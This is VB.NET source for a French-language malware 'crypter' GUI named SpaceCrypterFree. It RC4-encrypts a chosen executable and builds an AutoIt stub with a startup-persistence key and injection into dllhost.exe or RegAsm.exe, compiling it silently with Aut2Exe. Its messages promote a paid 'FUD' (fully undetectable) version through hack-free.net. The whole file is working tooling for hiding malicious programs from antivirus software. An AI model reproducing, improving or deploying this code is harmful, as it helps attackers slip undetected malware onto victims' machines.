Imports System.IO Imports System.Text Public Class Form1 #Region "La merde" Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Try Directory.Delete(TempName(), FileIO.DeleteDirectoryOption.DeleteAllContents) If Not Directory.Exists(TempName) Then Directory.CreateDirectory(TempName) End If Catch : End Try End Sub Private Sub CheckBoxIcon_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxIcon.CheckedChanged If CheckBoxIcon.Checked = True Then ButtonChangerIco.Enabled = True Else ButtonChangerIco.Enabled = False End If End Sub Private Sub ChargerFichier_Click(sender As Object, e As EventArgs) Handles ChargerFichier.Click Dim fichier As New OpenFileDialog fichier.Filter = "Exécutable | *.exe" fichier.Title = "Choissier un fichier a crypter" If fichier.ShowDialog = vbOK Then TextBoxFichier.Text = fichier.FileName End If If Not managed(File.ReadAllBytes(TextBoxFichier.Text)) Then Label8.Text = "Application native" RadioButtonNatif.Checked = True RadioButtonDll.Checked = True Else If managed(File.ReadAllBytes(TextBoxFichier.Text)) Then Label8.Text = "Application .NET" RadioButtonNet.Checked = True RadioButtonReg.Checked = True End If End If End Sub Private Sub RandomPool1_CharacterSelection(s As Object, c As Char) Handles RandomPool1.CharacterSelection If TextBoxEncryption.Text.Length < 50 Then Try TextBoxEncryption.Text = TextBoxEncryption.Text & c Catch : End Try End If End Sub Public Function managed(executable As Byte()) As Boolean Return executable(60) = 128 End Function Private Sub ButtonChangerIco_Click(sender As Object, e As EventArgs) Handles ButtonChangerIco.Click Dim chargericon As New OpenFileDialog chargericon.Title = "Charger l'icon que vous souhaiter" chargericon.Filter = "Icon | *.ico" If chargericon.ShowDialog = vbOK Then PictureIcon.ImageLocation = chargericon.FileName End If End Sub Private Sub RadioButtonNet_CheckedChanged(sender As Object, e As EventArgs) Handles RadioButtonNet.CheckedChanged If RadioButtonNet.Checked = True Then RadioButtonDll.Enabled = False RadioButtonReg.Enabled = True RadioButtonReg.Checked = True RadioButtonDll.Checked = False Else RadioButtonReg.Enabled = False RadioButtonReg.Checked = False RadioButtonDll.Enabled = True RadioButtonDll.Checked = True End If End Sub #End Region Public Function TempName() Dim DossierTemp As String = Path.GetTempPath & "SpaceCrypterFree\" Return DossierTemp End Function Private Shared Function rc4(ByVal Input As Byte(), ByVal Key As Byte()) As Byte() Dim i, j, swap As UInteger Dim s As UInteger() = New UInteger(255) {} Dim Output As Byte() = New Byte(Input.Length - 1) {} For i = 0 To 255 s(i) = i Next For i = 0 To 255 j = (j + Key(i Mod Key.Length) + s(i)) And 255 swap = s(i) s(i) = s(j) s(j) = swap Next i = 0 : j = 0 For c = 0 To Output.Length - 1 i = (i + 1) And 255 j = (j + s(i)) And 255 swap = s(i) s(i) = s(j) s(j) = swap Output(c) = Input(c) Xor s((s(i) + s(j)) And 255) Next Return Output End Function Public Function ExtStr(cadena As String, Opt As Long, Optional dirChar As String = "\") As String Try Dim FullName As String FullName = Mid$(cadena, InStrRev(cadena, dirChar) + 1) Select Case Opt Case 1 'Nombre ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1) Case 2 'Extension ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1) Case 3 'Nombre + Extension ExtStr = FullName Case Else ExtStr = cadena End Select Catch : End Try End Function Function CorrectionDuFichier() Dim correct As String If TextBoxFichiercop.Text.Contains(".exe") Then correct = TextBoxFichiercop.Text Else correct = TextBoxFichiercop.Text & ".exe" End If Return correct End Function Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click If TextBoxClestartup.TextLength < 1 Then ElseIf TextBoxDossier.TextLength < 1 Then ElseIf TextBoxEncryption.TextLength < 1 Then ElseIf TextBoxFichier.TextLength < 1 Then ElseIf TextBoxFichiercop.TextLength < 1 Then MsgBox("Vous n'avez pas remplis tout les champs nécéssaire pour le cryptage", MsgBoxStyle.OkOnly, "Erreur lors du cryptage") Exit Sub Else Dim dossierTemp As String = TempName() Try Directory.CreateDirectory(dossierTemp) Catch : End Try Dim crypter As New SaveFileDialog crypter.Filter = "Executable | .exe" crypter.FileName = ExtStr(TextBoxFichier.Text, 1) & ".crypted" If crypter.ShowDialog = vbOK Then Try Dim Encryption As String = Chr(34) & TextBoxEncryption.Text & Chr(34) Dim injection As String Dim Startup As String = Chr(34) & TextBoxClestartup.Text & Chr(34) Dim Fichier As String = Chr(34) & CorrectionDuFichier() & Chr(34) Dim Dossier As String = Chr(34) & TextBoxDossier.Text & Chr(34) Dim FichieraCrypt() As Byte = rc4(File.ReadAllBytes(TextBoxFichier.Text), Encoding.[Default].GetBytes(TextBoxEncryption.Text)) ProgressBar1.Value = 30 If RadioButtonDll.Checked = True Then injection = Chr(34) & "C:\Windows\System32\dllhost.exe" & Chr(34) Else injection = Chr(34) & "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & Chr(34) End If File.WriteAllBytes(dossierTemp & "Aut2Exe.exe", My.Resources.Aut2Exe) File.WriteAllText(dossierTemp & "stub.au3", My.Resources.Stub.Replace("%DOSSIER%", Dossier).Replace("%NOM%", Fichier).Replace("%STARTUP%", Startup).Replace("%KEY%", Encryption).Replace("%INJECTION%", injection)) File.WriteAllText(dossierTemp & "rc4.oc", My.Resources.rc4) ProgressBar1.Value = 55 File.WriteAllBytes(dossierTemp & "encrypted.bin", FichieraCrypt) ProgressBar1.Value = 60 Dim BuildDuStub As ProcessStartInfo = New ProcessStartInfo() If CheckBoxIcon.Checked = True Then BuildDuStub.Arguments = "/in " & dossierTemp & "stub.au3 /out " & dossierTemp & "Compiled.exe /icon " & PictureIcon.ImageLocation & " /comp 4 /nopack" Else BuildDuStub.Arguments = "/in " & dossierTemp & "stub.au3 /out " & dossierTemp & "Compiled.exe /comp 4 /nopack" End If BuildDuStub.WindowStyle = ProcessWindowStyle.Hidden BuildDuStub.CreateNoWindow = True BuildDuStub.FileName = dossierTemp & "Aut2Exe.exe" ProgressBar1.Value = 80 Process.Start(BuildDuStub) ProgressBar1.Value = 90 Threading.Thread.Sleep(1000) If File.Exists(crypter.FileName) Then File.Delete(crypter.FileName) File.Copy(dossierTemp & "Compiled.exe", crypter.FileName) Else File.Copy(dossierTemp & "Compiled.exe", crypter.FileName) End If ProgressBar1.Value = 100 Directory.Delete(dossierTemp, FileIO.DeleteDirectoryOption.DeleteAllContents) Media.SystemSounds.Asterisk.Play() Dim reponse = MsgBox("Votre fichier a correctement etait crypter" + vbNewLine + "Si vous souhaiter avoir plus d'option ou être FUD" + vbNewLine + "Passer à la version payante", MsgBoxStyle.YesNo, "Fichier crypter correctement") If reponse = MsgBoxResult.Yes Then Process.Start("http://hack-free.net/private.php?action=send&uid=910&subject=Space-Crypter") End If ProgressBar1.Value = 0 Catch ex As Exception Dim Erreur As String = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) & "\Erreur detaillé.txt" File.Create(Erreur).Close() Dim EcrireErreur As New StreamWriter(Erreur) EcrireErreur.Write(ex.ToString) EcrireErreur.Close() MsgBox("Un Fichier a etait crée sur votre Bureau comprenant l'erreur qui a eu lieux") MsgBox("Une erreur est suvenur au moment du cryptage." + vbNewLine + "Si ce problème persiste contacter FyR0z avec le Fichier sur Hack-Free", MsgBoxStyle.OkOnly, "Erreur lors du cryptage") End Try End If End If End Sub Private Sub Acheter_Click(sender As Object, e As EventArgs) Handles Acheter.Click Dim response2 = MsgBox("Si vous souhaiter avoir plus d'option ou être FUD" + vbNewLine + "Passer à la version payante", MsgBoxStyle.YesNo, "Interesser par la version payante ?") Media.SystemSounds.Asterisk.Play() If response2 = MsgBoxResult.Yes Then Process.Start("http://hack-free.net/private.php?action=send&uid=910&subject=Space-Crypter") End If End Sub End Class